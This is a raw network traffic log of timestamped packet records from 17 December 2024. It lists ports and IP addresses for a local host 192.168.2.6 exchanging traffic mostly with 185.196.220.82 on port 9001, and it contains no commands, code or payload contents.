Dec 17, 2024 11:49:50.272407055 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.272433043 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.273047924 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.273098946 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.273166895 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.273221970 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.273982048 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.273994923 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.274064064 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.274584055 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.274722099 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.290255070 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.331480026 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.331551075 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.331657887 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.331711054 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.331800938 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.331845999 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.331882000 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.331957102 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.332716942 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.332729101 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.332770109 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.332783937 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.333488941 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.333555937 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.333617926 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.333745003 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.333780050 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.333863974 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.334414005 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.334461927 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.334526062 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.334752083 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.335316896 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.335330009 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.335380077 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.335412979 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.335988045 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.336035967 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.336237907 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.336277962 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.336762905 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.336844921 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.336877108 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.337079048 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.337594986 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.337606907 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.337650061 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.338382959 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.338418961 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.338442087 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.338465929 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.339179039 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.339299917 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.339394093 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.340074062 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.340126991 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.340190887 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.340712070 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.340837002 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.340904951 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.341504097 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.341666937 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.341734886 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.342298985 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.342415094 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.342483997 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.343200922 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.343238115 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.343307972 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.343806028 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.362000942 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.362036943 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.362210035 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.362246037 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.362344980 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.362417936 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.363084078 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.363147020 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.363164902 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.364017963 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.364053011 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.364079952 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.364118099 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.364828110 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.364864111 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.364881039 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.364912987 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.365662098 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.365698099 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.365725040 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.365741014 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.366283894 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.366347075 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.366425037 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.366538048 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.367291927 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.367347956 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.367408991 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.367908001 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.368061066 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.368134022 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.369115114 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.369151115 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.369175911 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.378727913 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.378926039 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.426810026 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.452519894 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.456264019 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.456487894 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.456624985 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.456696033 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.456731081 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.462219000 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.483158112 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.490324020 CET	9001	49744	79.130.19.119	192.168.2.6
Dec 17, 2024 11:49:50.490391970 CET	49744	9001	192.168.2.6	79.130.19.119
Dec 17, 2024 11:49:50.576385975 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.576421976 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.576514959 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.576530933 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.576657057 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.576667070 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.576797009 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.576805115 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.576909065 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.577024937 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.577033997 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.577075005 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.577084064 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.577181101 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.577184916 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.577193022 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.577289104 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.577297926 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.577354908 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.577363968 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.577452898 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.666136980 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.668221951 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.668344021 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.668374062 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.668488979 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.668576002 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.787647009 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.787781954 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.788116932 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.788245916 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.788258076 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.788376093 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.788387060 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.788436890 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.788449049 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.788535118 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.788547039 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.788597107 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.788609028 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.788678885 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.788691044 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.788775921 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.788786888 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.788861990 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.788882971 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.789002895 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.789015055 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.789110899 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.789124966 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.789259911 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.789273024 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.789398909 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.789414883 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.789561987 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.789572954 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.789639950 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.789705992 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.789720058 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.789829969 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.789841890 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.789928913 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.789937973 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.789975882 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.790123940 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.790132999 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.790141106 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.790190935 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.790199995 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.790240049 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.790249109 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.790292025 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.790359974 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.790368080 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.790455103 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.790463924 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.790596008 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.790604115 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.790688038 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.790695906 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.790812969 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.790822029 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.790838003 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.790972948 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.790982008 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.790991068 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.790998936 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.791088104 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.791096926 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.855035067 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.896230936 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.896250963 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.896439075 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.896456003 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.896506071 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.896609068 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.896698952 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.896827936 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.897391081 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.897989988 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.898132086 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.898214102 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.898341894 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.898380041 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.898452044 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.899058104 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.899070978 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.899127007 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.899187088 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.899940968 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.899954081 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.899986982 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.900418997 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.900549889 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.900674105 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.900938988 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.900995016 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.901325941 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.901442051 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.901472092 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.901647091 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.902120113 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.902277946 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.902302027 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.902429104 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.902854919 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.903079033 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.903103113 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.903338909 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.903678894 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.903783083 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.903812885 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.903857946 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.904429913 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.904501915 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.904503107 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.904683113 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.905328035 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.905340910 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.905458927 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.905973911 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.906291008 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.906318903 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.906385899 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.906836033 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.906922102 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.906971931 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.906971931 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.907656908 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.907741070 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.908379078 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.908474922 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.910940886 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.910957098 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.910993099 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.911003113 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.911004066 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.911005974 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.911016941 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.911027908 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.911073923 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.911073923 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.911098003 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.911109924 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.911148071 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.911149025 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.912148952 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.912210941 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.912317991 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.912458897 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.912986040 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.913089991 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.913115025 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.913173914 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.913717985 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.913882971 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.913912058 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.913959980 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.914365053 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.914449930 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.914561033 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.914675951 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.915411949 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.915424109 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.915491104 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.916050911 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.916167974 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.916207075 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.916274071 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.979612112 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.979692936 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.979809046 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.979835033 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.979904890 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.979939938 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.980078936 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.980695009 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.980787039 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.980792046 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.980926037 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.981472969 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.981579065 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.981604099 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.981635094 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.982449055 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.982532024 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.982582092 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.983067036 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.983140945 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.983228922 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.983463049 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.983810902 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.983899117 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.983993053 CET	49784	9001	192.168.2.6	185.196.220.82
